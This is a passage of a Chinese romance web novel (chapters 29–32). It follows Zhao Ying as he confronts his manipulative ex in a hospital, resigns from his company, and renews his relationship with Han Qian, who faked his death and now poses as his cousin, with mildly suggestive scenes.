“赵郢,你为什么不在意?我离婚可是为了你啊。” 廖彦川捏住果皮一段,将这条完整的螺旋状物体放到病床旁的柜子上。 他切下一小块苹果片,慢吞吞地咀嚼:“杜蘅是我的第二任相亲对象,第一任,也就是被你发现的那位,我和我爸妈说了我们不合适。” “杜蘅也是不合适的,但好在她对我很满意,我说什么她信什么。要是她精一点,敏锐一点,再强势一点,我那时就不会选她了。” 赵郢有些反感他说这些话的口吻,很轻蔑,就像杜蘅不过是他光鲜外表下的装饰物,一个给他提供资源的,家世与他势均力敌,甚至更优越的附属品。 “小郢,我跟你才是一路人,我们是一样的。” “一路人?我?”赵郢面无表情,他盯着放在看护椅上的硕大果篮,“你是不是睡着的时候脑子被门夹了。” “你以前说话没这么伤人,你曾经是很崇拜我的,不是吗?”廖彦川保持微笑,“我们都不得不听从父母的安排,都无法拥有自主选择权。虽然你在我面前从未提起过你的原生家庭,但我私下找你们这一届的班长要了你的家庭资料。” “你过得很辛苦吧,赵郢。当时为什么一定要和我分手呢?我们完全可以继续维持这段关系,只要不被人发现就好。更何况,你的父母应该也接受不了你和一个男人在一起,你迟早也是要和女人结婚的。” 廖彦川望向站在赵郢身后的韩谦,他总觉得这个人但从外形看有点熟悉,却想不起来他能与自己认识的哪一位对上号。 但他还是礼貌地对韩谦点点头,慢条斯理地问:“这位先生,你说对吗?” 韩谦没有回答。他拐了个弯,绕开赵郢冲到病床边,单手拽着廖彦川的蓝白病号服衣领,把人从床上微微提起。 摘掉墨镜、鸭舌帽以后,廖彦川瞳孔微缩,激动地挣扎起来,嘴里发出“你”之类的单音。 “认识一下,廖先生。”韩谦肃然的时候,那双灰蓝色的眼睛传达出一种无机质似的冷淡,“我是Alex Hofmann,我的表弟Andrew Hofmann你或许认识,他中文名叫‘韩谦’。” 设想一下,当一张与已死之人一模一样的脸出现在你眼前,并用凶狠的目光死死盯着你的时候,任何人都不可能继续平静下去。 韩谦没有松手,拎一个一米八的成年男人跟饭后甜点差不多,“你很喜欢被崇拜的感觉。所以,你在燕城的那些男伴也是因为这种崇拜,才能和你维系长期关系的吗?” “你——” “我怎么知道的?”韩谦笑道,“廖先生,你的事迹并不难查。也许你的妻子杜蘅女士,也并没有你想的那么愚蠢好骗。据我所知,这些年你大约与三位数的人发生过关系,达成长期感情的,有一半是你带的实习生。” “到底是“你为了赵郢离婚”,还是“这些不干不净的勾当终于露出马脚”,在我把证据传到杜衡私人邮箱之后就有分晓了。” 赵郢对于他说的这些一无所知,惊讶之余,他也被廖彦川惊人的约/炮频率狠狠震撼到。 其实多数人对自己的第一任都有初恋情结,赵郢也有,但在分手后的第二年就消失得一干二净了。 他有点为当年的自己感到难过,他心想,原来烂掉的人并非一夜之间开始腐烂。 他们往往从最深的地方开始溃烂发霉,当痕迹延伸到表层,就说明这个人已经从头到尾地烂透了。 赵郢捡起一张插在果篮当中的祝福卡,字迹龙飞凤舞,两行祝福廖彦川早日康复的黑体字下方是一个人的签名落款。 “那张照片是张简荣拍的?”他说道。 看到廖彦川脸色一变,赵郢知道他猜得八九不离十了。 张简荣这个人精得冒油,又长袖善舞,第一次被廖彦川找上门,不会贸然同意他的请求。但事不过三,他最终还是会答应与廖彦川合作。 赵郢心想,张简荣起初可能不知道廖彦川要他拍的具体内容,等到真正上了贼船,发现事情没他想得那么简单,下一步就是给自己留后路了。 于是他把这张照片发给了杜蘅。 还有这个果篮,张简荣是不是也料到他会来医院,顺便卖他个人情? 看来张简荣比廖彦川更适合在知乎开付费职场专栏。 赵郢在脑子里整理出一个来龙去脉,轻轻碰了下韩谦的手臂,“行了,放手吧。” 廖彦川领口的抓力猛然一撤,他直挺挺地倒回病床,狼狈地抚平胸前被拧皱的布料。 “你也没有很爱韩谦嘛。”他挤出一抹勉强的笑,“人死了没多久就和哥哥搞在一块。” 他朝韩谦“喂”了一声,说:“赵郢从来不会对谁百分之百的坦诚,他压根不懂怎么爱一个人,所以你永远没办法走到他的内心深处。和这样的人在一起早晚会受不了,还是知难而退比较好。” 韩谦当即就想动手,却被赵郢拉住胳膊,拖着往门口的方向走。 “管好你自己。我的建议是,有空查查艾/滋。”在被赵郢拖出去之前,韩谦鸟语花香中英混杂的脏话迎来最后一句结语。 随着房门“砰”的一声响,赵郢浅浅呼出一口气。 廖彦川话糙理不糙,他的确是个……不坦诚的人。 他不是不懂如何去爱一个人,他是害怕自己的伴侣在收到那份不那么健全完美的感情后,会产生失望的心理。 到底是他对自己太不自信。 至少那个时候他该对韩谦坦白,而非不明不白地结束婚姻,自以为洒脱地把人从自己身边赶走。 “赵郢。” 韩谦重新戴上鸭舌帽,帽沿的阴影扫过眼眉,仿佛笼罩着一层阴翳:“是不是又想提分手?没事,你提了我也不会答应的,跑到天涯海角我也照样找过来。” “又不是出轨,你也没有移情别恋。每个人都有不想说出来的事,就像我也不希望你知道我三岁还尿过床。”他双手插兜,做了个很酷的表情,“好了,你现在知道了。” 赵郢:“……” 因为听力绝佳,等反应过来他听到了什么内容的时候,一切都太迟了。 “而且你已经道过歉了。” 韩谦说:“我原谅你。” 赵郢的心脏蓦地一空。 两个人回到车里,临近黄昏,医院停车场没什么人。余晖斜斜洒进挡风玻璃中,在赵郢按着方向盘的那只手上轻轻跃动,将戒指镶嵌的彩宝映得透亮。 赵郢瞟了一眼韩谦光秃秃的右手,“你的婚戒呢?” “周宁替我收着呢。”韩谦说,“你微信给他发个消息,让他把我的东西都寄过来,再帮我问问他的精神状态恢复得如何。” 赵郢:“……你干什么了?” “你以为我是怎么查到廖彦川有接近三位数的炮/友的?” 韩谦想到什么,尴尬地别开头:“亲自往他那跑了一趟,他估计是被我吓着了,大白天开了一瓶速效救心丸。” 不仅如此,还抽出压在办公桌下的桃木剑和黄符,朝他念了三遍“九天应元雷声普化天尊”,直到韩谦把脸贴着桃木剑,又用手背蹭蹭驱邪符,证明自己“是个人”。 “那我下次给他补个红包。”赵郢有些心疼。 “行。” 韩谦:“周宁说乔彬程快不行了,他前些日子回了燕城,我在想要不要去看看。你觉着呢?” “看你自己。”赵郢踩住油门,把车开入正道,“不去也没事,你也不欠他什么。” 前方是一个红灯,他一只手搭着方向盘,另一只手肘压着滑到最低的车窗。 赵郢想了想,还是说: “明天我准备找刘总提辞职。” 第30章 第 30 章 浑水摸狗。 次日, 赵郢把相同的话在刘晋面前复述一遍的时候,他露出了和韩谦一样的表情,不理解但尊重。 “说说原因。”刘晋端着保温杯, 杯底装的不是养生枸杞,是他委托秘书下楼买的珍珠奶茶。 “赵郢,你任职将近十年, 呆的时间不短了,你很清楚云升不是一个歧视员工性取向的公司。对于不实的传闻, 你也第一时间做了回应, 这不是你的错。” 赵郢摇摇头,说:“我辞职不是因为这个。” “总部那边, 有人匿名举报了廖彦川作风不良的问题。”刘晋嫌恶地“啧”了一声, 悠悠品着茶, “总部会对他作出相应的处理,你不用担心。” “刘总, 也不是因为廖彦川。”赵郢补充道。 “那是为什么?”刘晋急得团团转。 他在办公桌后左右徘徊,一副天塌了的模样, 没想到亲自培养出来的得力干将比自己还先一步离职。 “工作量太大?薪酬低了?赵郢, 这些不是不可以商量, 你坐下。” 赵郢听他的话坐下了。 回顾他毕业到现在的这八年,二十六岁以前, 他从未动过丝毫离职的念头,甚至早早借贷买房, 像燕子筑巢般把南水当成第二个家。 是从什么时候开始的呢? 他回忆了一下, 兴许是从他与韩谦确认关系后开始的吧。 一个不稳定的因素,一块打破平静湖面的石头,一个炽热张扬的刺头。 每次韩谦以“年假”起头, 兴致勃勃地规划着他们将做什么的时刻,赵郢在心底搭建的稳固根基便不再稳固。 这段历程中发生了许多事,并非每一件都让他动摇。那种想得到某些改变的感觉很奇妙,像中彩票一样毫无预兆,但是它来到的那一刻,人的心底会出现一个声音—— 说,是时候了。 如今赵郢正感应了这个声音的存在,他也觉得“就是现在了”。 “过去我一直认为,人就是要通过不断向上来确认自己的价值和意义,我为此付出了不少努力,还算没辜负自己的期待。” 赵郢将一路走来遇到的所有艰难险阻一笔带过,温声说:“后来才逐渐明白,这仅仅是一种主流观念,不是金规铁律。” 在云升熬夜加班是常态,他越晋升,加班的强度随之增大。 他们团队大部分人身体都出现大大小小的毛病,赵郢是胃痉挛、长期失眠和中度焦虑,白舒沅是神经衰弱、偏头痛,小李有轻度抑郁。 小李每周末看似去钓鱼,实际是以这种方式把注意力从工作上分散出来,心态变轻松了,抑郁情绪自然有所改善。 各种五花八门的病,凑一块还能玩消消乐。 “得给自己喘口气的机会啊,刘总。”赵郢轻笑道,“我也很想去看看……韩谦说过的那些地方。”他良心不安地把某个人搬出来当挡箭牌。 刘晋听到这句话顿时红了眼眶。 “是、是,去看看吧。”刘晋背过身去,静悄悄的办公室突兀地响起抽鼻的声音。 “我下个月再提交离职申请。” 赵郢:“我手头的工作和客户,公司都需要时间安排交接。包括我团队的人,我打算辞职的事他们也有知情权。” 刘晋认可地点点头,赵郢接着说:“有些话不知道该不该说。” 刘晋大手一挥:“讲。” 得到许可,赵郢清了清嗓子:“小白是个好苗子,年轻、上进心强,她跟着我干了这么多年,也做出了许多成绩。” 他思考的时候眉头总轻轻皱着,赵郢心想,如果要安排一个人接他的班,白舒沅这个人选再合适不过了。 “更重要的是,”赵郢进一步论证他的观点,“白舒沅的领导力、统筹力非常出色。当然,如果您担心她年纪小没到火候,也可以让她再沉淀沉淀,磨一磨经验。” 刘晋沉吟了片刻,说:“白舒沅?嗯,我对她有印象。” “你的眼光一向不错,好了,我知道了。” 看他的态度,赵郢心想,那就八九不离十了。 五月初,韩谦从燕城回来,廖彦川的处理结果也正式落定。 这位的八卦传遍全国的分公司,甚至还有一些离职的实习生跳出来,把廖彦川干的龌龊事做成PDF流传开来。 不光被冠上“烂瓜男”的外号,还喜提辞退大礼包,杜蘅被殃及池鱼降职降薪,自救都来不及,怎么都不会出面保下他了。 赵郢高兴地开了香槟。 他晚上开车到机场接韩谦,这人就在燕城呆三天,却像要呆三年,喝口水都恨不得给他打报告。 每天晚上还要求打三小时视频通话,赵郢这个月忙着交接,眼底的黑眼圈不减反增,经常挂着视频昏睡过去。等窗外天光乍亮,他被闹钟吵醒,才看到一直留存的通话界面。 赵郢委婉而无奈地表达了一下韩谦有些过分粘人,隔着手机屏幕,另一端的人仿佛耳朵尾巴全耷拉下来,一句话也不说地跟赵郢生闷气。 问就是离婚的那一年思念成疾,想赵郢想得整晚睡不着,这会儿就当弥补那段时间的PTSD了。 赵郢“呵呵”两声,表示笑一笑算了。 韩谦的航班晚点了一小时,赵郢站在出口等人,姿势从站着等到蹲着,再从蹲着等到靠着墙。 终于,行李箱滚轮摩擦地面的声音纷至沓来。 韩谦走在最末,燕城五月份大升温,他内搭是一件灰色印花T恤,飞机开了空调,有点冷,于是在外头罩了件宽松的黑夹克。 他脖颈挂着头戴式耳机,朝赵郢走过来的时候,一脸睡懵的表情,赵郢手痒痒,在他发顶搓了一把。 “哎哎哎!” 韩谦把行李箱靠在腿边,单手搂着赵郢的腰吻了下去,边亲边嘟囔:“薅狗呢?” 赵郢被迫仰着头,有条不紊地舔了舔他的唇缝,半晌分开道:“那你是吗?” “是。” 韩谦闷闷地笑,把头抵在赵郢肩上,放在他腰间的手悄悄使劲:“我是呢……赵郢。” 别给他说爽了,赵郢心想。 车上,韩谦拉开安全带,降下车窗说想吹会儿风。 赵郢开导航看路,偏了偏头:“燕城的风没吹够,还要回南水接着吹?” “别提。”韩谦嫌弃地撇撇嘴,“还一线城市呢,空气质量也差得名列前茅,吹了我一嘴沙。” “那不刚好?” 赵郢一想到待会儿要说什么就有点想笑:“可以帮精卫填海。” “沙子能填个屁的海。”韩谦嫌戴耳机硌得慌,把它取下来塞进背包,意味不明地说道,“欠……呢。” 赵郢:“……” 韩谦思维跳脱,很快换了话题:“乔彬程在疗养院病逝了,杜华卿把他安葬在瑞园,燕城郊区中的郊区,位置偏僻交通不便,估计清明都没人愿意给他上坟。” “你替他感到难过?”赵郢留意着他的神情,没什么变化,相反还带了几分轻蔑。 话说早了。 韩谦:“怎么可能,他死一百次我也不掉一滴眼泪,我只是心情有些复杂。” 乔彬程早年赤手空拳创建了云升,之后又将商业版图一点点扩大,到如今分公司遍布各地,单看事业,他已经做到了极致。 偏偏他道德败坏四处留情,薄情寡义到生前无人守床,死后无人问津,落到这样的结局也算可悲。 “我要给我妈妈报个喜。”韩谦说,“这对于我们的Hofmann女士来说,是一件值得庆祝的大喜事。希望她见到乔彬程,能鼓起扇他十个耳光的勇气。” “我觉得十个少了。”赵郢“嗯”一声,往上面加砝码,“一百个吧。” “同意。” “那今晚不做?” “同……不同意!” 韩谦趁着红灯在赵郢颊边咬了一口,恶狠狠地:“行啊,浑水摸鱼。” “浑水摸狗。”赵郢纠正道。 他最近累狠了,韩谦嘴上虽然说了一大堆诸如“七年之痒”“抱歉是我年老色衰了”之类的话,回到家,还是默默跑浴室呆了两小时。 出来后赵郢已经把自己打包塞到被窝了,他换了真丝的枕套,基本沾枕头就睡,十分安详快捷。 但这回他忍着困意多等了一会儿,身后韩谦窸窸窣窣地上床,火烧般滚烫的胸膛贴着他的后背。 赵郢把人推了推,梦呓似的:“热,离我远点。” “才不。”韩谦两条腿叛逆地夹着他的下半身。 “你体寒,我们这叫冰与火之歌。” 赵郢沉默半晌,睡意一键清空。 他欲言又止道:“……你是不是有病?” 赵郢切身体会到韩谦某个方面的变化,慢慢打了个哈欠,翻身与他面对面。 “没事,它自己会消,你睡吧。”韩谦忍痛割爱,试图下床到客房睡,奈何全身沉得要命,动不了似的黏在赵郢床上。 “借你一只手呢。” 赵郢环着他的脖子,找了个舒服的位置,大发善心道:“你快一点。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-36 第31章 第 31 章 他有时候的确太纵容韩谦…… 韩谦没有如他所愿很快地结束, 相反,这个过程持续了很长时间。 小别胜新婚,某些人像一只得了分离焦虑症的大型犬, 伸舌哈着热气,要把赵郢从头到脚照顾一遍。 赵郢握得手酸,掌心湿答答的, 黏腻的汗液直往下淌,他蹙紧眉心问韩谦还有完没完。 “快了宝贝。”韩谦牵着他的手带起动作, 一段优秀的舞步往往需要舞伴之间高默契地配合。 只是这支舞跳了太久, 赵郢有些意乱,不满地哼了一声。 韩谦假装为他着想地说:“赵郢, 再借我两条腿我就可以快点结束了。” “真的吗?”赵郢困意返场, 声音也黏黏糊糊的。 “真的。”韩谦碰了碰那条滑如流水的真丝睡裤, 眸光闪烁,“我是诚实守信三好公民。” 赵郢听信谗言, 点头默许了。 结果是被这位自诩“诚实守信”的人折腾到天光微亮的清晨。 洗脸刷牙的时候,他右手酸得几乎抬不起来, 大概是夜晚被压狠了, 血液不流通。所幸睡衣布料够软, 没让他的皮肤受到太多折磨,但赵郢还是很难受, 仿佛临时加了一整晚班,身心俱疲, 所以他几乎没给过韩谦一个正眼。 狗如果不训, 迟早有天跳到主人头上拉屎撒尿。 公主初来乍到那会儿也闹腾,总试图用嘴巴吃到赵郢周围的空气,或者跳到高处, 将那盆长势喜人的波士顿蕨啃得像掉毛的秃鸡。 最崩溃的是,当赵郢给它戴上狗绳下楼解决大小便,它竟然跃跃欲试地想尝尝自己的屎! 恐怖如斯,恐怖如斯。 狗随主人,两个都得训。赵郢暗下决心,他有时候的确太纵容韩谦了,不可以这样。 八点五十分,赵郢进公司打卡,这是他呆在云升的最后一天,无比寻常,与以往每一天都没什么区别。 他一转身,白舒沅站在背后不远处,面部肌肉微微颤抖,她鼻头微红,喊了声“赵哥”。 赵郢揣着装满咖啡的马克杯,“你知道了啊。” “我是不是团队里最后一个被通知到的?”白舒沅仿佛有点生气,不过还是伤心更多。 “不是。” 赵郢说:“你们每个人都是同时收到邮件的。” 廖彦川收拾东西滚蛋后,这层楼的另一个团队成了一把散沙,大大小小的工位连成的办公区,人多口杂,赵郢招招手,叫白舒沅进办公室说话。 “是总部的意思吗。”白舒沅说道,“认定你影响到了公司形象,逼你主动离职?” 她思维向来发散,好处是随时随地提供新点子,坏处是容易像脱缰的野马,不可控制地发散到犄角旮旯里了。 赵郢把她拽了回来,说:“总部在裁决处理上还是很公正透明的,申请辞职是我个人的选择,舒沅。” 他把那天对刘晋说的话转述给白舒沅听,意思万变不离其宗——他的伴侣英年早逝,他想为这个人看看这个世界,想从连轴转的工作里抽离出来,换一种新的生活方式。 “赵哥。”白舒沅眼神复杂,好似囊括了许多内容。 “你好像跟以前不一样了。”她说。 以前的赵郢是个什么样的人,白舒沅最有发言权。 卷王、加班狂魔、冷面领导,随便哪个词冠在他头上都很合适。 赵郢在卷的道路上从不是一个人,他是合格的领头者,就像狼群中的头狼,向来没有他搞不定项目,也没有他搞不定的甲方。 让这样一个人回心转意说“我要归隐”,白舒沅第一反应是听错了,第二反应是想往赵郢身上撒点驱邪的糯米。 不管你是什么妖魔鬼怪,全给我退退退! 但她再一细想,这貌似是对僵尸的处理办法,不妥当。 “人都会变的。”赵郢说,“即将步入人生下一个阶段前,观念、态度、想法,会发生细微的变化。你还记不记得我面试你那天说的话?” 白舒沅是赵郢选进来的人,那份排版漂亮,竞赛成绩与实习经历写满一整面的简历在成百上千的应聘者中脱颖而出。 面试下来,赵郢相当满意。 “当然记得。”白舒沅化的淡妆有些花了,眼眶那块尤为明显,“你说,我一定会走得很远。” 赵郢抬了抬下巴:“嗯。” “你有野心,也有与野心相匹配的能力,不要怕。” 话越说越煽情,白舒沅眼眶的泪水摇摇欲坠,她想说点什么转移注意力,此刻却瞥见赵郢指间那枚被说成地摊货的戒指。 当时她特地问了一大圈,没找到同款,问多了还被店家发了个翻白眼的黄豆表情,说这种工艺难做,成本高,傻子才卖这玩意。 “赵哥。”白舒沅睁着一双蛋花眼,道出心声,“你手上戴的,是不是婚戒啊?” 因为不想透露自己的感情状况,才随口编了一个来源。 “是啊。”这次赵郢不打算隐瞒。 “我能问问……” “办公室恋情,英年早逝,舒沅,你应该猜到另一半是谁了。” 白舒沅瞳孔震颤,眼泪被憋了回去。 她心里有个呼之欲出的名字,可她实在无法将两人从上下级联系到结婚伴侣上。看赵郢的神情,这好像就是唯一的正确答案了—— 韩谦。 实话实说,她第一次见到韩谦时,一眼断定这个狂到没边的实习生和赵郢八字犯冲。 韩谦的张狂并非抬杠呛人的类型,甚至他有时候在工位上很沉默。不过他有一套自己的行为逻辑,假如分给他的任务太琐碎无脑,他便用那双棕黑色的眼睛直直盯着发起任务的人,语调毫无起伏地说他不做。 别的同事向白舒沅告状,叫她出面,但无论谁去说,韩谦从始至终都是一句话:我不做。 像个人机。 白舒沅当实习生的时候也被这样折磨过,那群人东一张嘴、西一张嘴,在茶水间蛐蛐,说韩谦这个新来的海归高材生真是了不起,叫他帮帮忙跟个皇帝似的,惹不得惹不得。 明夸暗贬的高帽子戴多了要出事,她只得请赵郢百忙之中出马,劝一劝这个不懂职场规则的新人小白。 不知道赵郢是什么时候、又在哪个地方找韩谦谈的话,反正之后此人机收敛不少,也没再说那些得罪人的虎狼之词。 赵郢也不是时时刻刻管得住人,偶尔韩谦犟起来像倔驴成精,十个人都拉不回来。他们团队应酬多,尽管社会出现了很多反对酒局文化的声音,但这种糟粕依然存在,喜欢灌酒的甲方仍屡见不鲜。 赵郢永远都是喝最多的那一个,甲方点名要谁喝,他就从容不迫地挡过去。从他口中,他们团队至少有三个酒精过敏、两个高血压,剩下的全是吃过头孢的扁桃体炎患者。 “合着这么多人,就你一个人能喝?”甲方隐隐不满。 “我也可以。”白舒沅使眼色使得五官乱飞,韩谦还是直冲冲莽了上去。 在饭桌上让甲方喝高兴了,酒后散场,赵郢面色不虞地扛着大高个在前头走,白舒沅听到窸窸窣窣说话的声音。 她走近悄悄听了一耳朵,发现是赵郢在训话: “……不是很会逞能吗?还跑厕所吐了三回,要不是小李进去看了眼,我都怕你抱着马桶不省人事。” “那不然怎么办,看你一个人喝?你说我逞能,你又把自己当成哪个好莱坞超级英雄了赵郢,毒液还是绿巨人?” 两个人吵得很凶,白舒沅不敢插嘴,默默放慢脚步离远了些。 她不知道的是,上一秒刚下线,下一秒韩谦就变了语气,缓缓问赵郢是不是胃不舒服。 “怎么看出来的?” “桌上那些调味重的菜你一道没吃,就喝了点海鲜粥。”韩谦说。 他们做了一阵子食堂搭子,赵郢的口味他再清楚不过,海鲜粥味道淡出鸟,如果不是胃不舒服,谁闲得没事喝那个。 “你平常也这么细致就好了。”赵郢淡淡道。 “关心你还不行。”韩谦嘀咕说,“狗咬吕洞宾。” “再说?” “……吕洞宾咬狗。” 韩谦借着酒劲,将重量在赵郢肩上多压了几分,嘴唇也靠得更近:“我包里有胃药和健胃消食片,你看你要哪个?” “趁人之危是小人行径,韩谦。” “让我留宿一晚,我可以照顾你。”韩谦一副被冤枉了的模样,嘴角向下耷拉,“这也叫‘小人’吗?” 赵郢把他搭在自己肩头的胳膊一扔,到街边打车:“我看你挺清醒的,也不用我扶着你了,自己走吧。” 韩谦:“……” 这种误导人的细节还有很多,白舒沅细数下来,竟然一次没有怀疑过他们私下是否有什么情况。 “那你们的婚礼?” 赵郢知道她要问这个,回答道:“一切从简,在国外某个教堂办的,没有宾客,没有双方父母,在场第三个人是神父。” 白舒沅持续惊讶的同时,又为赵郢感到难过。 “我还好,不用担心。”赵郢看出她的想法,说道。 白舒沅不知该说什么好,她绞尽脑汁想了很久,憋出一句。 她说,赵哥,那祝你快乐自由。 在赵郢看来,这是一句很实用的祝福。 这一个月他一直陆陆续续地收拾办公室的东西,大多交接资料给了白舒沅,几盆养得很好的绿植给了小李,其他没用完的办公用品集合起来装进一个纸箱子里,谁要谁拿。 总之,赵郢踏出公司自动感应门的那一刻,手中单单提着福莲楼的奶茶袋。 今天他没开车,出门往左走一段,在拐角的地方看到一抹熟悉的身影,那人手里牵着狗绳,公主像是运动过度累坏了,趴在地上生无可恋地打着滚。 韩谦不问自取地端走一杯属于他的全糖奶茶,喝了一口后怒斥道:“公主下午非常不乖,拆家,客厅被它弄得乱糟糟!我猜它可能是想活动活动,就在你下班前一个小时把它一块带出门了。” “我的波士顿蕨——” “挪到卧室窗台了。”韩谦牵着他的手,灰蓝色的眼眸流光溢彩,“我很靠谱的。” “是吗。”赵郢不信。 在他们顺其自然讨论晚饭是煮火锅还是炒家常菜期间,白舒沅抱着一张当年的团建合照追了赵郢两条街。 她跑得呼呼喘气,在下一个路口,终于快要追上赵郢的影子。 一瞬间,白舒沅仿佛看到了什么,停下来狠狠揉了揉眼睛。 她没看错,那真的是一张与韩谦如出一辙的脸,只有发色和眼睛的颜色不同,颇有几分年轻版本莱昂纳多的风采。 白舒沅心知不必再追了,脑海里同步蹦出一张表情包,并百感交集地配文: 李李类卿。 第32章 第 32 章 “不问我哪天去民政局登…… 一个月很快过去, 南水市正式迈入酷暑季节,满大街的聒噪蝉鸣此起彼伏,戴降噪耳机也阻挡不住, 走两步更是能出一身汗。 赵郢一周除了上街买菜,基本没出过门,遛狗的重任落到公主正儿八经的主人头上, 但韩谦也是昼伏夜出的作息。 “咬了一腿蚊子包,家里还有没有驱蚊水?” 韩谦在玄关换鞋, 他出门的穿搭极其随便, 一顶棒球帽、一套颜色搭配和谐的短袖T恤、以及一双人字拖。 公主解决完大小便,累倒在新换的凉席狗窝里。它四脚朝天地小声驴叫, 似乎很不满韩谦牵着它多走的那一个小时。 赵郢是不受蚊虫欢迎的体质, 整个家需要驱蚊水的只有韩谦一个人。 他翻箱倒柜地找了找, 拿出一瓶刚好过期一年的:“得买新的。” 韩谦:“那现在去趟超市?” “不要。”赵郢顺势歪在沙发一角,单脚踩着沙发垫, 手边的电脑屏幕亮着,应该不久前刚用过, “你叫个饿了吗急送。” “怎么变这么懒?” 韩谦迈步走过来, 甩掉拖鞋欺身压向沙发, 像视频里故意轻轻挤压宠物猫的无良铲屎官,他将赵郢拱到角落, 挤得人发出细微哼声。 “韩谦。”赵郢竖起一根食指,在这人胸口点了点, 意思是叫他离自己远一点。 昨天做了一场, 他的腰到现在还酸软疼痛。 韩谦沉默地盯着他看了一会儿,半晌翻身滚了,开始背对着赵郢唱Lana Del Ray的《Young and Beautiful》。 那一句“Will you still love me, When Im no longer young and beautiful”唱得格外凄凉动情。 赵郢对这个神经病没什么话说。 韩谦一扭头就看到他那台笔记本,想凑过去看看赵郢没关闭的页面,身后却突然伸过来一只手,“啪”地一声把电脑关了。 再开就得输入密码解锁。 韩谦大为震惊,还有什么是他不能看的? 他不在乎赵郢有很多事瞒着他,一个人的性格会在人生的前十八年长出雏形,一旦定型便很难变更。 他的爱人在工作上直来直去,私下却有着截然相反的回避与内敛。虽然赵郢总狡辩着说,这是成熟的表现,他的观点却不尽相同。 这明明成长期没有被很好照顾到的表现,身体、精神,二者皆有。 也许是因为他们断崖式的离婚,与韩谦突如其来的死亡讯息,赵郢在失而复得后迎来了第二次生长痛。 韩谦感受到了比之前略多一些的坦诚。 我们赵郢真的很棒了,他心想。 赵郢听不见他的内心独白,抬腿从韩谦腰间跨过去,将电脑往玻璃茶几的下方空格里一塞,又坐回到原来的位置。 “不是不告诉你,这件事不一定有个好结果,万一不是我预想的那样,说了反而丢脸。” 尽管丢脸的事他没少在韩谦面前干过。 前几年他们感情最好的时候,为了增加伴侣之间的小趣味,赵郢连续收了一周包裹严实的私密快递。 离婚后他把那些衣服和道具都扔了,韩谦为此还对他小发雷霆,哀怨地说又得重新收集。 就当作是在断舍离,赵郢如是说。 从头再来并不永远是坏事。 这句话在他们身上得到了很好的验证。 这周末,赵郢与周宁约好时间,去取韩谦放在他那里的随身物品。 前段时间他本想让周宁把东西都寄过来,但考虑到这是韩谦最重要的一批“遗物”,他最终决定还是亲自跑一趟。 “我呢?”韩谦怀里抱着饱餐一顿的比格大王,把赵郢从卧室送到客厅。 赵郢的目光扫过一人一狗,皱眉:“什么‘我呢你呢’?” 韩谦说得直白些:“我不去吗?” “上次不是你把周宁吓到吃救心丸?”赵郢把车钥匙揣兜里,说,“我又去不了很长时间,一小时就回来了。” 公主被韩谦放到地上,失去安稳的怀抱,它埋头撕咬着韩谦的裤腿,前爪狗刨式地扒拉。 “那也不行。” 韩谦双手抱臂,赫然一副与公主一个模子里刻出来的倔驴样,“我要听听他有没有在你面前说前老板的坏话。” 赵郢:“……” “他为什么要说你坏话?” 在职场稳扎稳打呆了近十年的赵经理发现盲点,问道:“难道你做了什么见不得人的事?” “怎么能这么想我呢!”韩谦眼神心虚地乱晃,“我当然没有啊。” 赵郢看向手机显示的时间,他要来不及了。 韩谦想跟就很吧,他心想,大不了谈话的时候让他找个地方自己凉快去。 见面地点在周宁新公司对面的咖啡厅,赵郢一下车,周宁正好走过斑马线,途径网约车前方的路灯。 赵郢喊了他一声,周宁回头望过来时,先是一个开心的表情,而后见到第二个下车的韩谦,笑容即刻消失,眉毛严肃地拧结在一起。 “赵先生,我以为您是一个人来。” 赵郢不好意思地笑笑,说:“上个月你已经见过……韩迁了,重新介绍一下,他现在是我男朋友。” 周宁眼底很快地闪过一丝难以言喻的神情,像是悲痛与不可置信。他抗拒地看着韩谦,语气生硬道:“我希望我们的会面没有第三个人在场。” 韩谦眉尾一挑,“我——” “没问题。”赵郢一口应下,拍了拍韩谦的肩膀,“我记得这条街上有一家宠物用品店,公主把弹力球咬坏好多,刚好你去买几个新的,再看看有没有公主爱吃的零食——少买些,不然它又要挑食。” 将不情不愿的韩谦打发走,赵郢拉开店门,与周宁在尽头靠窗的位置落座。 “我跟着韩总干了一年,从来不知道还有这一号人物。” 周宁点了杯拿铁,随后把一个装得微微鼓起的密封袋递到赵郢手中:“韩总没说过他还有一个表哥,不过我没有立场提出质疑,毕竟赵先生也看到了,他们长得很像。” “是很像。”赵郢牵动唇角,右颊浮现出一枚很小的凹陷。 他在心里说,岂止“相似”,这两完全就是同一个人。 两杯咖啡被分别端到他们面前,周宁用咖啡勺搅了搅,缓慢道:“赵先生,我冒昧地问一句。您选择韩总的表哥,是单纯地喜欢这个人,还是在缅怀逝者?” 赵郢:“都有吧。” 他拆开密封袋,不出意外地摸到一枚同款的婚戒,尺寸比他的略大一些,戒环沾了点污渍,仿佛是灰尘或者泥土。赵郢捏着纸巾细致地擦干净,说:“其实我见你的主要目的不仅仅是拿回韩谦的遗物,我还想听你讲一讲……他在这一年里发生的事。” “这也正是我想告知您的。”周宁心有灵犀地说。 “第一次见韩总的时候,他状态看上去很糟。” 当时韩谦招的是贴身秘书,每一场面试都亲自下场,等同于boss直聘。他开的薪水高,要求却不苛刻,面试当天,周宁与几十个人同场等候,他排在比较靠后的位置。 第一个人面了不到一分钟,出来时灰头土脸,脸色十分精彩。第二个人……一直到排在周宁前一个的面试者顶着同样操/蛋的表情走出来,周宁意识到这位老板的要求与脾性大概率非比寻常。 轮到他的时候,他甚至产生退缩的念头。 奈何薪资和福利待遇实在诱人,周宁还是抱着必死的决心上了沙场。 他推门进入,一眼看到正中间那位年轻男人,五官混血感明显,坐着都比一些站着的人高。 年轻男人眼眶乌黑,好似长时间没睡好觉,眉眼一片阴翳。他抬了抬下巴,示意周宁拿起桌面的那张照片。 “说说你对这个人的第一印象。” 照片里的男人侧对镜头,笑容浅浅地喂着一只猫。从长相来看,男人的脸与当下大众审美高度契合,用一句近期很流行的话形容,这张脸可以说做男做女都精彩。 须臾,周宁瞥了眼年轻男人的反应。 他的未来老板和这个人是什么关系? 对象?看着不像。仇人?那也未必。 周宁想了又想,心中升起两个字:前任。 “是一个很好相处的人。”他破罐子破摔,“但作为爱人,却截然相反。” 他还想再说点什么,韩谦抬头看他一眼,打断道:“什么时候方便入职?” 周宁哑然,如果他没记错,他就只说了一句话。 开始上班后,周宁终于明白了韩谦用那张照片面试秘书的意图——“赵郢”这个名字,他每天听到的次数不下五次,偶尔韩谦午休,嘴里也突然冒出一句愤恨的梦呓,说“赵郢,就算你求我我也不会答应复合”。 